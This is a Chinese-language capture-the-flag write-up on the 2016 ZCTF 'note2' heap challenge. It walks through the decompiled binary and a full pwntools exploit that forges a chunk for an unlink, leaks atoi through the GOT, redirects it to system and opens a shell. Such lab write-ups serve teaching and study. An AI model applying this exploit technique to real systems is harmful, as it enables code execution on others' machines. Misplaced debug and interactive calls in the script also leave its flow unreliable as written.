Unlink——2016 ZCTF note2解析

简介

Unlink是经典的堆漏洞，刚看到这个漏洞不知道如何实现任意代码执行，所以找了一个CTF题，发现还有一些细节的地方没有讲的很清楚，题目在这里。自己也动手写一遍，体验一下

题目描述

首先，我们先分析一下程序，在checksec中检查文件，发现是64位程序，然后放入IDA中，f5,，得出主程序是这样：

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  ReadStr((char *)&name, 64LL, 10);
  puts("Input your address:");
  ReadStr((char *)&address, 96LL, 10);
  while ( 1 )
  {
    switch ( selectchoice() )
    {
      case 1:
        NewNote();
        break;
      case 2:
        ShowNote();
        break;
      case 3:
        EditNote();
        break;
      case 4:
        DeleteNote();
        break;
      case 5:
        puts("Bye~");
        exit(0);
        return;
      case 6:
        exit(0);
        return;
      default:
        continue;
    }
  }
}

主程序是一个while循环，在selectchoice中输出一个菜单，然后读取一个输入判断

int selectchoice()
{
  puts("1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>");
  return inputNum();
}

int inputNum()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ReadStr(&nptr, 16LL, 10);
  return atoi(&nptr);
}

下面是4个主要功能，添加 note，size 限制为 0x80，size 会被记录，note 指针会被记录。

int NewNote()
{
  char *note; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)NoteNum > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = inputNum();
  if ( size > 128 )
    return puts("Too long");
  note = (char *)malloc(size);
  puts("Input the note content:");
  ReadStr(note, size, '
');
  RemovePercent(note);
  ptr[NoteNum] = (__int64)note;
  Len[NoteNum] = size;
  v2 = NoteNum++;
  return printf("note add success, the id is %d
", v2);
}

溢出点代码

unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

展示 note 内容。

int ShowNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
      LODWORD(v0) = printf("Content is %s
", ptr[v2]);
  }
  return v0;
}

编辑 note 内容，其中包括覆盖已有的 note，在已有的 note 后面添加内容。

unsigned __int64 EditNote()
{
  char *v0; // rax
  char *v1; // rbx
  int v3; // [rsp+8h] [rbp-E8h]
  int v4; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v6; // [rsp+18h] [rbp-D8h]
  char dest; // [rsp+20h] [rbp-D0h]
  char *v8; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( NoteNum )
  {
    puts("Input the id of the note:");
    v3 = inputNum();
    if ( v3 >= 0 && v3 <= 3 )
    {
      src = (char *)ptr[v3];
      v6 = Len[v3];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v4 = inputNum();
        if ( v4 == 1 || v4 == 2 )
        {
          if ( v4 == 1 )
            dest = 0;
          else
            strcpy(&dest, src);
          v0 = (char *)malloc(0xA0uLL);
          v8 = v0;
          *(_QWORD *)v0 = 'oCweNehT';
          *((_QWORD *)v0 + 1) = ':stnetn';
          printf(v8);
          ReadStr(v8 + 15, 144LL, 10);
          RemovePercent(v8 + 15);
          v1 = v8;
          v1[v6 - strlen(&dest) + 14] = 0;
          strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, &dest);
          free(v8);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}

释放 note。

int DeleteNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
    {
      free((void *)ptr[v2]);
      ptr[v2] = 0LL;
      Len[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}

题目解答

仔细分析后，可以发现程序有以下几个问题

1. 在添加 note 时，程序会记录 note 对应的大小，该大小会用于控制读取 note 的内容，但是读取的循环变量 i 是无符号变量，执行size-1>i时，如果size=0，则会永远成立。所以比较时都会转换为无符号变量，那么当我们输入 size 为 0 时，glibc 根据其规定，会分配 0x20 个字节，但是程序读取的内容却并不受到限制，故而会产生堆溢出。
2. 程序在每次编辑 note 时，都会申请 0xa0 大小的内存，但是在 free 之后并没有设置为 NULL。
3. 在上述程序中有一个全局变量ptr，用来记录每次分配的内存地址，在.bss段中，地址为0x0000000000602120。

其中这三个 chunk 申请时的大小分别为 0x80，0，0x80，chunk1 虽然申请的大小为 0，但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk)，所以会分配 0x20 的空间。同时，由于无符号整数的比较问题，可以为该 note 输入任意长的字符串。

这里需要注意的是，chunk0 中一共构造了两个 chunk

• chunk ptr[0]，这个是为了 unlink 时修改对应的值。
• chunk ptr[0]'s nextchunk，这个是为了使得 unlink 时的第一个检查满足。

利用代码：

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))


p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18

gdb.attach(p)
p.interactive()

deletenote(2)




# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('
', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, 'x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()

代码中首先分配了三个note，当构造完三个 note 后，堆的基本构造如图 1 所示。

                                   +-----------------+ high addr
                                   |      ...        |
                                   +-----------------+
                                   |      'b'*8      |
                ptr[2]-----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|------------
                                   |    unused       |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+  chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图1

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

对应的代码如下

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

首先释放 chunk1，由于该 chunk 属于 fastbin，所以下次在申请的时候仍然会申请到该 chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖 chunk2，覆盖之后如图 2 所示。

+-----------------+high addr
                                   |      ...        |
                                   +-----------------+
                                   |   'x00'+'b'*7  |
                ptr[2]-----------> +-----------------+ chunk 2
                coverValue1        |    size=0x90    |
                                   +-----------------+
                coverValue2        |    0xa0         |
                                   +-----------------|------------
                                   |    'a'*8        |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+ chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
               fake chunk--->      +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图2



和图1相比，经历了chuck1的分配和释放，造成了两个值的变更，就是图2中的coverValue1和coverValue12，coverValue1导致chunk2的前一个虚拟地址空间连续块由以及分配变为空闲，所以在释放chunk2的时候，会造成合并。
而合并操作进行时，会根据coverValue2来确定前一个块的大小，coverValue2使前一个块变为伪造的chunk，就是图2中fake chunk处，fakefd和fakebk则是伪造的，必须保证unlink的检测条件，fakefd = ptr - 0x18，fakebk = ptr - 0x10
图2中的fake ptr[0] chunk's nextchunk是根据fake chunk的size来确定的，也就是0x60，第二个条件要绕过去就需要构造第二个chunk，在fake chunk位置0x60之后的位置放置一个pre_size为0x60的chunk

在unlink之后，ptr被修改为ptr-0x18，注意，ptr的值就是在查看源码时发现的，存放第一个note的位置，在向note写入3个字节后，ptr的值又会被覆盖一次，所以可以使用一个像note的写入操作达到控制ptr为任意值。然后利用note的写操作更改GOT

在选择覆盖函数的GOT时，选择atoi，因为在switch语句之前会读入一个选择，用到atoi函数，并且程序没有用到system函数，所以必须计算两个函数的偏移才能得出system的libc库位置，最后覆盖也选用这个函数